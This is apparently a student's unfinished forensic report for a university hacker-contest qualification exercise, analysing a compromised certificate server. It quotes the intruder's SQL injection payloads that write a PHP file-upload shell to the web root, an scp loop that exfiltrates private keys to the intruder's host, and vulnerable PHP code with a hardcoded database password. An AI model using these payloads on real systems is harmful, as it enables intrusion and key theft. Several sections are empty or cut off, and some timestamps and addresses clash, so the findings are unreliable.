h_da
HOCHSCHULE DARMSTADT
UNIVERSITY OF APPLIED SCIENCES

Darmstadt University of Applied Sciences

– Faculty of Computer Science –

Compromised Server Investigation Report

Qualification exercise

by
Lennart Eichhorn
Matriculation number: 759253
Email: lennart.eichhorn@stud.h-da.de

ABSTRACT

Participating in the hacker contest course requires a submitting a solution for the qualification exercise [Goh24].

TABLE OF CONTENTS

Part I

FORENSIC INVESTIGATION REPORT

1 INTRODUCTION

1.1 BACKGROUND

A small company hired an IT consultant to generate certificates for various services. As soon as the consultant completed the work and left the building, the Intrusion Detection System (IDS) used in the company detected an attack on the server set up specifically for this purpose. Concerned about the security of the generated certificates, the company requests a forensic investigation of the server to determine whether there has been an attack on the system and, if so, what data has been stolen from the system. Any information that can be found about the attacker is also of importance.

The server itself has the IP address `192.168.0.1`. `The consultant used the username `root` and either worked directly on the computer or from the addresses` `192.168.5.23` and `` `192.168.23.5` `` . Otherwise, no one else should have had access to the computer. The consultant set up the computer in the morning and generated the certificates. Immediately afterward, he left the premises. Shortly thereafter, the IDS system reported the attack.

1.2 OBJECTIVES

1.2.1 *Tasks*

Questions

- Should the certificates still be used?
- Can the system still be used?
- If there was an attack:
- How did the attacker get into the system?
- What did the attacker do?
- What has to be done to secure the system?
- Which details about the attacker can be found?

Additional Questions

- Is the configuration of the server secure?
- Should a CA be operated in this manner?
- How should the software written by the consulatant be assessed?

1.2.2 *Hypotheses*

1.3 ACQUIRED DATA

Table 1. Compromised server disk image

Attribute	Detailed Information
Filename	HDD.raw
sha256sum	9ad970f9df238dc266f58f17689d4049ab40e5c10296a3ff0620ba95612f166c
Size (bytes)	1.00 GiB (1,073,741,824 bytes)
Date of acquisition	Unknown
Aquired by	Customer
Description	The disk image was created by the customer and handed over to the investigator

Basic server information

Hostnames

caserver.smallcompany.local caserver localhost.localdomain localhost

Operating System

Alpine Linux v3.2.3

motd

Welcome to our PKI management server

nameserver

192.168.1.7

root shadow entry

root:6tLmnLjM0j3qZwQxd$YiYPWIAcN4a9W3p5.7jYL8Wg.5sVkedxQ2HRCSUvefVu008.dPyNziMe8LoY3s5DoxchY.G96XsT2jasType50:16703:0:::::

timezone

UTC

programs

php, apache, sudo, apk,

1.4 SUSPECT INFORMATION

Name

Peter

Username

peter

IP

192.168.223.223

Tools

Nikto sqlmap c99

Hostname

workstation5728484

RSA public key

Shown in [intruder-ssh-key]

1.4.1 *Consultant*

Some information about the consultant.

2 SUSPECT ACTION TIMELINE

2.1 TIMELINE

2015-09-25T06:41:16

Consultant logs in for the first time from 192.168.23.5 Consultant set mysql root password to `password2015!`

2015-09-25T06:53:51

Consultant creates cakey.pem Contains the private key of the CA

2015-09-25T06:55:32

Consultant creates caroot.pem

2015-09-25T08:01:50

Consultant creates the vulnerable `webserverCtrl.c` ([webserverctrl])

2015-09-25T08:04:19

Consultant builds and sets the SUID bit on `webServerCtrl`

2015-09-25T08:04:10

Intruder started probing endpoints from 192.168.223.223 Maybe usign nikto

2015-09-25T08:06:29

Intruders tooling triggers the SQL injection vulnerability for the first time

2015-09-25T08:07:05

Intruder started sqlmap using the discovered injection They probably get the whole database schema, not sure

2015-09-25T08:10:05

Intruder confirmed SQL injection by placing `/var/www/localhost/htdocs/cache/test.csv`

2015-09-25T08:10:42

Intruder tries to place upload.php to `/var/www/localhost/htdocs/upload.php` but that does not work Apparently did not work, but I am not sure why I did not work or how the attacker knew

2015-09-25T08:11:04

Intruder placed `upload.php` to `/var/www/localhost/htdocs/cache/upload.php`

2015-09-25T08:11:12

Intruder placed `c99.php` to `/var/www/localhost/htdocs/cache/c99.php`

08:11:16

Intruder starts using c99.php to run commands

2015-09-25T08:14:58

Intruders notices

2015-09-25T08:14:58

Intruders obtains the source for webserverCtrl

08:17:09

Intruder verifies that webServerCtrl can be used to escalated to root.

08:18:07

Intruder starts a reverse shell as root using webServerCtrl.

08:22:35

Intruder adds their public key to the `/root/.ssh/authorized_keys`

2015-09-25T08:24:??

Intruder logs in via SSH as root

2015-09-25T08:24:17

Intruder exfiltrates `cakey.pem

08:2[4-6]:??

Intruder fails to exfiltrate any other key `for i in $(find . -name "*key.pem"); do scp $i peter@192.168.0.223.223:/home/peter/; done`

08:28:56

Intruder uploads possibly modified `ls` source code via upload.php

08:33:33

Intruder uploads possibly modified `ls` binary via upload.php

08:30:54

Intruder places working and possibly modified `ls` binary in `/bin/ls`

08:31:04

Intruder is listing .ssh, but doesnt do anything

10:31:54

Intruder deletes all the files they uploaded to `/var/www/localhost/htdocs/cache` Including upload.php

08:32:28

Intruder clears the `/var/logs/messages` log

08:32:28

Intruder clears the `/var/log/mysql/query.log` log

08:32:28

Intruder disconnects

11:19:57

Someone comes back to delete /var/www/localhost/htdocs/cache/c99.php and /tmp/ccnIANnf.c

2024-04-28T12:45:00

Investigator receives the disk image

2.2 INTRUSION

The attacker scanned the server using sqlmap The form in index.html allows a SQL injection, because the inputs are not validated as shown in [vulnerable-line]. The attacker used the string

Listing 1. The vulnerable line of code

```
PHP#VULNERABLE-LINE
$query = "SELECT subject FROM certs WHERE cert_id='" . $_POST['cert_id'] . "' LIMIT 1";
```

Listing 2. First SQL injection

```
PHP#FIRST-SQL-INJECTION
1' OR 1=1 INTO OUTFILE '/var/www/localhost/htdocs/cache/test.csv' --
```

Listing 3. Inserting a cert with a php script as subject

```
PHP#FSECOND-SQL-INJECTION
1'; INSERT INTO certs VALUES(523, "<?php if(isset($_FILES['tfile']))
{     $file_name = $_FILES['tfile']['name'];     $file_tmp =$_FILES['tfile']
['tmp_name'];     move_uploaded_file($file_tmp,$file_name);     echo 'Success'; } ?
> <form action='' method='POST' enctype='multipart/form-
data'>     <input type='file' name='tfile' />     <input type='submit'/> </form>"); --
```

Listing 4. Third SQL injection

```
PHP#FIRST-SQL-INJECTION
523' INTO OUTFILE '/var/www/localhost/htdocs/cache/upload.php' --
```

2.2.1 *Privilege escalation*

The intruder intially only had acces to the `apache` user. They managed to escalate their privileges by exploiting a vulnerability in the `webserverCtrl` program created by the consultant.

The `webserverCtrl` was used by the consultant to control the webserver from an unprivileged user. The C source is shown in [webserverctrl]. The program is supposed to use setuid to get root privileges and then allow the user to run one of two predefined commands as root. However a easily abusable buffer overflow vulnerability allows an attacker to abuse it to run arbitrary commands as root.

The attacker used this to start an

3 INVESTIGATOR ACTIVITY LOGS

I did not work on any live data, so there is no risk of contaminating the evidence.

4 CONCLUSION

4.1 RECOMMENDATIONS FOR SECURING THE SERVER

4.2 QUESTIONS

4.2.1 *Should the certificates still be used?*

The certificates should no longer be used, as the root

4.2.2 *Can the system still be used?*

No, there was an attack, while we think the attacker is gone and we could try to secure the system, we dont know if they left any undetectable backdoors.

Maybe the ls thing is a backdoor

4.2.3 *How did the attacker get into the system?*

1. They used a SQL injection to place files on the server.
2. They used that to place a php script that would make it easier for them to upload files to the server. 3.
   - What did the attacker do?
   - What has to be done to secure the system?
   - Which details about the attacker can be found?

4.2.4 *What do you think of the configuration of the server?*

4.2.5 *What do I think about the software written by the consultant?*

4.2.6 *Should a CA be operated in this manner?*

LIST OF ABBREVIATIONS

IT
Information Technology

IDS
Intrusion Detection System

REFERENCES

[Goh24] Matthias Göhring, Tobias Hamann, Tim Wörner
Anmeldeaufgabe, Sommersemester 2024
[Online; archived 17.4.2024]
transfer.usd.de/index.php/s/ZPS9KT2NRsk42MA 📁

5 APPENDIX

PHP

```
<?
php



$mysqli = new mysqli("localhost","root","password2015!", "mysql");



if (isset($_POST['cert_id'])) {

        //$escaped_id = mysql_real_escape_string($_POST['cert_id']);

        $query = "SELECT subject FROM certs WHERE cert_id='" . $_POST['cert_id'] . "' L
IMIT 1";
        $result = $mysqli-
>multi_query($query) or die("Faulty query: " . $query);




        $subject =  $mysqli->store_result()->fetch_all(MYSQLI_ASSOC);
        if (sizeof($subject)==0) unset($subject);
}

?>

<html>
        <head>
                <title>Certificate Database</title>
        </head>

        <body>
                <h1>Query database for certificate by serial number</h1>
<?php
if (isset($_POST['cert_id']) && !isset($subject)) {
        echo "<h2 style='color:red'>Serial number not found</h2>";
}
?>
                <form action="index.php" method="post">
                        <input type="text" name="cert_id">
                        <input type="submit" value="Search">
                </form>
<?php
if (isset($subject)) {
?>
                <h1>Result for <?php echo $_POST['cert_id'];?></h1>
```